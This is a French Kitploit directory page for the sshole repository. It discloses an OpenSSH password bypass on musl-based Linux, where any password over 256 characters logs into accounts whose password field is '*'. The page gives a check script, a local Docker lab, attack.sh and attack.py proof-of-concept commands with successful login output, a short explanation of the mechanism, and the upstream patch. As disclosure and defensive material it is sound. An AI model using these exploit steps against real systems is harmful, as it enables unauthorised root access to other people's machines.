Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
sshole — openssh sur musl acceptait tout mot de passe de 257 caractères ou plus pour les comptes sans mot de passe. depuis 2016. check.sh, poc, patch. | Kitploit
Outils/GitHubGitHub/oz9un/sshole
Analyse des VulnérabilitésExploitationVirtualisation de SécuritéAuthentificationLabs et Pratique
GitHuboz9un/sshole

sshole

openssh sur musl acceptait tout mot de passe de 257 caractères ou plus pour les comptes sans mot de passe. depuis 2016. check.sh, poc, patch.

Voir le dépôt
104927il y a 1 jourPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

*sshole

openssh sur musl linux (alpine, openwrt, buildroot, yocto) vous permet de vous connecter à n'importe quel compte dont le mot de passe est * avec n'importe quel mot de passe de plus de 256 caractères. cela concerne root, les utilisateurs à clé uniquement, les utilisateurs ldap, l'utilisateur alpine sur les images cloud d'alpine. depuis 2016.

l'histoire complète est sur sshhole.com. ce dépôt contient le script pour vérifier votre propre machine, une configuration docker pour l'essayer vous-même, et le patch.

corrigé dans openssh 10.6p2 le 2026-11-05. les paquets alpine sont disponibles.

suis-je un *sshole ?

curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc                         musl
sshd                         OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam                          off (not built in)
PasswordAuthentication       yes
accounts with '*'            root alice deploy
sha-crypt hash present       yes (bob)

EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.

vous n'êtes vulnérable que si toutes ces conditions sont réunies. le script vous indique laquelle manque si ce n'est pas le cas :

  • le système utilise musl (alpine, openwrt, buildroot, yocto, postmarketos, void-musl, chimera)
  • sshd est compilé sans pam. le paquet openssh-server standard d'alpine l'est. openssh-server-pam avec UsePAM yes est sûr
  • PasswordAuthentication yes dans sshd_config (c'est la valeur par défaut)
  • au moins un compte a exactement * comme champ de mot de passe
  • au moins un compte a un véritable hash de mot de passe $5$ ou $6$ (quelqu'un, n'importe qui, a exécuté passwd)

glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos : non affectés. vous pouvez arrêter la lecture.

le reproduire

vous avez besoin de docker. cela construit un alpine 3.24 normal avec openssh-server et la configuration par défaut. alice a *, bob a un vrai mot de passe.

cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole

./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice

deux prompts. le premier n'importe quoi, le second 300 x A. c'est l'exploit.

root fonctionne aussi si PermitRootLogin yes est défini :

docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root

attack.py fait de même avec paramiko et vous permet de choisir la longueur du mot de passe, afin que vous puissiez voir 256 échouer et 257 fonctionner :

pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256     # rejected
python3 attack.py 127.0.0.1 2222 alice 257     # logged in

pour les versions plus anciennes d'alpine : docker build --build-arg BASE=alpine:3.21 -t sshhole . cela fonctionne au moins jusqu'à la 3.18. la plus ancienne que nous avons essayée était openssh 7.5p1 sur musl 1.1.16 de 2017, et cela fonctionnait là aussi.

patch

patch/4353fdc43-avoid-password-authn-bypass.patch est le correctif upstream, inchangé, au cas où vous auriez besoin de l'appliquer à une version plus ancienne. il fonctionne sur tout à partir de la 7.3p1. il fait en sorte que sshd ignore la comparaison lorsque le champ stocké est trop court pour être un véritable hash, et il cesse également d'utiliser un pointeur vers le buffer statique de la libc.

si vous ne pouvez pas mettre à jour maintenant, définissez PasswordAuthentication no dans sshd_config. cela ferme complètement la faille.

comment ça fonctionne, en six lignes

pw_password = "*"                          # alice has no password
salt = NULL                                # "*" is too short to be a salt
salt = pick_salt()                         # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$")       # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0             # "*" == "*"
return 1                                   # welcome, alice

sshd compare contre * de cette façon depuis les années 90. musl a commencé à renvoyer * en cas d'échec en 2012. sshd a commencé à utiliser les sels d'autres comptes en 2016. voir la chronologie.

pas ici

la configuration complète des tests (17 environnements : image cloud dans qemu, openwrt, buildroot, utilisateurs ldap et ad, etc.), les chiffres de prévalence et le tableau par distribution se trouvent dans l'article. ils pourront être publiés plus tard. ce dépôt est volontairement petit.

licence mit.

Télécharger l’outil